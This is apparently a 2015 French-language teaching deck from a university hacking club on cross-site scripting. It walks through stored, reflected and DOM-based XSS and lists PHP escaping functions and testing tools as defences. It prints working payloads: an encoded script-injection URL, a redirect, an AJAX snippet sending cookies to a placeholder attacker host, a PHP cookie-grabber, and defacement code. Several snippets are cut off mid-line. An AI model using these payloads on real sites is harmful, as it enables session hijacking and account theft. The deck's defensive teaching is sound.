Les Failles XSS

Guillaume Pillot

Club de Hacking de l'université Laval

17 Février 2015

Sommaire

Description

La Faille XSS (pour Cross-Site Scripting) est une faille de sécurité qui consiste à injecter du code HTML afin de pouvoir exécuter du code d'un autre langage informatique (Java Script le plus souvent) et la plupart du temps via un formulaire.

Exemple de base

```
<p>
<!-- voci du code non protégé -->
Tu t'appelles <?php echo $_POST['prenom']; ?>
</p>
```

Si l'utilisateur rentre Badaboum PHP transforme le code de la façon suivante.

```
<p>Tu t'appelles<strong>Badaboum</strong>!</p>
```

Ce code non protégé permet aux utilisateurs d'insérer n'importe quel code HTML mais surtout il leur permet d'utiliser la balise <script>.

Constat

La situation peut vraiment devenir critique car l'utilisateur peut récupé- rer nos cookies et donc des informations confidentielles comme notre pseu- donyme et notre mot de passe sur le site.
La faille XSS est numéro 3 dans le top 10 de l'OWASP.

XSS stocké

Les failles XSS stocké sont aussi nommées failles XSS permanente car les données fournies par l'utilisateur sont stockées sur le serveur (post sur un forum par exemple). C'est la faille XSS la plus critique, car un attaquant en exploitant juste une faille sur le site peut toucher un grand nombre d'utilisateurs.

XSS réfléchi

Faille XSS est la plus répandu. On appelle aussi ce type de faille : XSS non permanente, car aucune information n'est stockée nulle part. Le pirate doit fournir à la victime une URL modifiée passant le code à insérer en paramètre (en usant d'ingénierie social).

Exemple

Voici un exemple, une page affiche le nom de l'utilisateur via la méthode GET, l'URL vers ce site ressemble donc à ceci : `http://monsite.com/exemple_1.php?nom='toto'` Pour éviter de mettre le code a injecter en clair, le pirate va l'encoder pour l'envoyer à sa cible : `http://monsite.com/exemple_1.php?nom=%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%27%68%61%63%6b%27%29%3a%3c%2f%73%63%72%69%70%74%3e`

XSS local

La faille XSS locale ou basée sur DOM est particulière. Au lieu de traité la variable "name" via le script serveur ($_GET pour PHP), on passe directement par l'objet document via Java Script.

Exemple

```
<html>
<title>Bienvenue!</title>
<script>
var pos = document.URL.indexOf("name=") + 5;
document.write(document.URL.substring( pos, document.URL.length
</script>
</html>
```

Protection automatique

Aujourd'hui, le système d'encodage automatique des URL par les navigateurs récents limite largement les risques d'exécution de script malicieux injectés dans l'URL. Le navigateur encode donc automatiquement les che- vrons. Article sur la faille XSS local

Le JavaScript et le DOM

Le DOM pour Document Object Model est une interface de programma- tion d'applications (API) pour documents HTML et XML. La structure du DOM est hiérarchique (comme un arbre), chaque balise html (<html>,<head>,ect..) est un nœud. La racine est le nœud "window" représentant la fenêtre du navigateur. Son fils est "document" qui représente la page Web. Les pirates utilisent donc beaucoup l'objet "document" pour exploiter une faille XSS.

Redirection

Le pirate va rediriger les visiteurs vers un autre site en injectant ce code :

```
<script>
location.replace("http://www.google.ca");
</script>
```

Vol de session

Le but de cette exploitation est de voler le cookie d'un utilisateur (le mieux étant de voler celui d'un utilisateur privilégié (modérateur,administrateur, etc...). Pour ce faire, le pirate va récupérer les données du cookie grâce à Java Script et l'objet "document" comme ceci : document.cookie ;

AJAX

Le pirate peut utiliser l'AJAX pour récupérer les cookies sur son serveur web :

```
<script>

var xhr = null;

function request()
{
//objet permettant dobtenir les cookies a laide dune requete HTT
xhr = new XMLHttpRequest();
//On prepare lenvoi des donnee (methode+cible+ASYN)
xhr.open( "GET", "http://site_du_pirate.com/grabber.php?cookie='
//On envoie la requete
xhr.send( null );
}

request();
```

Grabber

Ensuite, voici le script du pirate permettant de récupérer le cookie :

```php
<?php

//Les donnée des cookie sont envoyé par GET

if( !empty($_GET['cookie']))
{

$date = date('d-m-Y \à H\hi');
$data = "Date : $date\r\n".htmlentities($_GET['cookie'])."\r\n--
//on crée un fichier
$handle = fopen('cookies.txt','a');
//et on écrit les donnée du cookie dedans
fwrite($handle, $data);
fclose($handle);

}
```

Modification de la page

On peut aussi accéder à n'importe quel élément de la page en utilisant plusieurs commandes de Java Script et le modifier en utilisant innerHTML.

Modification du titre d'une page

```
<!--L'ajout de cette balise va me permettre l'accès à ces parent
<p id="test"></p>

<script type="text/javascript">
//accès à la balise p injecté précédemment
var test = document.getElementById('test');
//On monte ensuite jusqu'à la balise html
var papa = test.parentNode;
papa = papa.parentNode;
//On accède ensuite à la balise title
var tabtitle = papa.getElementsByTagName('title');
var title = tabtitle[];
//Et on la modifie à l'aide d'innerHTML
title.innerHTML = "Hack!!!!";
</script>
```

Workshop

- http ://ctf.gpillot.webfactional.com/
- Les 2 premiers challenges XSS de ring0team

Côté client

- Avoir un navigateur récent.
- Rester vigilant et ne pas cliquer sur n'importe quel lien

Fonctions PHP

- htmlspecialchars
- htmlentities
- strip_tags

Autres technlogies

Il serai interessant de voir comment les autres technologies web connu protège leur code contre le XSS :

- Django
- ROR
- J2EE
- ASP.NET
- framework PHP/CMS (Symfony 2/Drupal/Wordpress)

Raison de la popularité de cette faille

- Incompétence
- Manque de vigilance

Plugins Firefox

- Firebug ou Aurora
- Http Live Headers (buggé :C)
- Hackbar

Autres outils

- Burp Suite
- Beef